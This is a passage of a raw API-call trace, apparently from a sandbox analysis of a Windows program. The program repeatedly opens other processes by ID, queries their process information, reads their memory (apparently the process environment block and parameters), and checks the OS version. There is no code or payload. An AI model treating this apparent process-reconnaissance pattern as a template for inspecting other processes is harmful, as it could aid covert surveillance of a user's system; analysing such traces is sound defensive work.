ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.482] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.482] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x36b020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.482] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4512e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.482] malloc (_Size=0xa2) returned 0x196ef0d78b0 [0296.482] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451992, lpBuffer=0x196ef0d78b0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d78b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.483] free (_Block=0x196ef0d78b0) [0296.484] CloseHandle (hObject=0x464) returned 1 [0296.484] _ui64tow_s (in: _Value=0xe28, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0296.489] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3624") returned 4 [0296.490] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.490] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.508] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x464 [0296.508] GetLastError () returned 0x0 [0296.509] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.509] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.509] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.509] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.509] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.557] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.559] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.559] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.559] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.559] malloc (_Size=0x8c) returned 0x196ef0d5780 [0296.559] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f197c, lpBuffer=0x196ef0d5780, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5780*, lpNumberOfBytesRead=0x0) returned 1 [0296.560] free (_Block=0x196ef0d5780) [0296.561] CloseHandle (hObject=0x464) returned 1 [0296.561] _ui64tow_s (in: _Value=0xe30, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3632") returned 0x0 [0296.566] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3632") returned 4 [0296.567] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.567] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.583] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe30) returned 0x464 [0296.583] GetLastError () returned 0x0 [0296.584] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x32e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d18f8, lpBuffer=0x670f7c2b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.586] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.587] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.587] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x32e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.587] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.587] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0296.587] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d195e, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.588] free (_Block=0x196ef0d31b0) [0296.604] CloseHandle (hObject=0x464) returned 1 [0296.605] _ui64tow_s (in: _Value=0xe40, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3648") returned 0x0 [0296.610] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3648") returned 4 [0296.611] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.611] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.630] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe40) returned 0x464 [0296.630] GetLastError () returned 0x0 [0296.630] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.630] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x35b018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.631] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.631] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1ca0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.631] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e18f8, lpBuffer=0x670f7c2b0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.632] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.635] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.635] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x35b020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.635] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.635] malloc (_Size=0x5a) returned 0x196ef0d0450 [0296.635] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e194a, lpBuffer=0x196ef0d0450, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0296.636] free (_Block=0x196ef0d0450) [0296.639] CloseHandle (hObject=0x464) returned 1 [0296.639] _ui64tow_s (in: _Value=0xe48, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3656") returned 0x0 [0296.644] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3656") returned 4 [0296.645] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.645] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.664] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe48) returned 0x464 [0296.664] GetLastError () returned 0x0 [0296.665] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.665] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.665] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.666] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.666] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f18f8, lpBuffer=0x670f7c2b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.667] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.669] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.669] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.669] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.669] malloc (_Size=0x76) returned 0x196ef0d2120 [0296.669] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0296.670] free (_Block=0x196ef0d2120) [0296.671] CloseHandle (hObject=0x464) returned 1 [0296.671] _ui64tow_s (in: _Value=0xe54, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3668") returned 0x0 [0296.676] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3668") returned 4 [0296.678] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.678] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.699] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe54) returned 0x464 [0296.699] GetLastError () returned 0x0 [0296.700] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.700] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.700] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.700] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.700] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.701] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.703] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.703] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.703] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.703] malloc (_Size=0x60) returned 0x196ef0d0530 [0296.703] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1950, lpBuffer=0x196ef0d0530, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0296.704] free (_Block=0x196ef0d0530) [0296.705] CloseHandle (hObject=0x464) returned 1 [0296.705] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0296.710] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3676") returned 4 [0296.711] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.712] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.729] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x464 [0296.766] GetLastError () returned 0x0 [0296.766] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.766] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.768] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.770] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.770] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.770] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.770] malloc (_Size=0x60) returned 0x196ef0d03e0 [0296.770] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e1950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0296.771] free (_Block=0x196ef0d03e0) [0296.772] CloseHandle (hObject=0x464) returned 1 [0296.773] _ui64tow_s (in: _Value=0xe70, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3696") returned 0x0 [0296.778] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3696") returned 4 [0296.780] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.780] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.798] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe70) returned 0x464 [0296.798] GetLastError () returned 0x0 [0296.799] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.799] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x217018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.799] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.800] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.800] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.801] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.803] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x217020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.803] malloc (_Size=0x66) returned 0x196ef0d0680 [0296.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1956, lpBuffer=0x196ef0d0680, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0296.804] free (_Block=0x196ef0d0680) [0296.805] CloseHandle (hObject=0x464) returned 1 [0296.805] _ui64tow_s (in: _Value=0xe78, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0296.817] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3704") returned 4 [0296.819] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.819] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.835] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x464 [0296.835] GetLastError () returned 0x0 [0296.836] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.836] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x202018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.836] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.836] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.837] 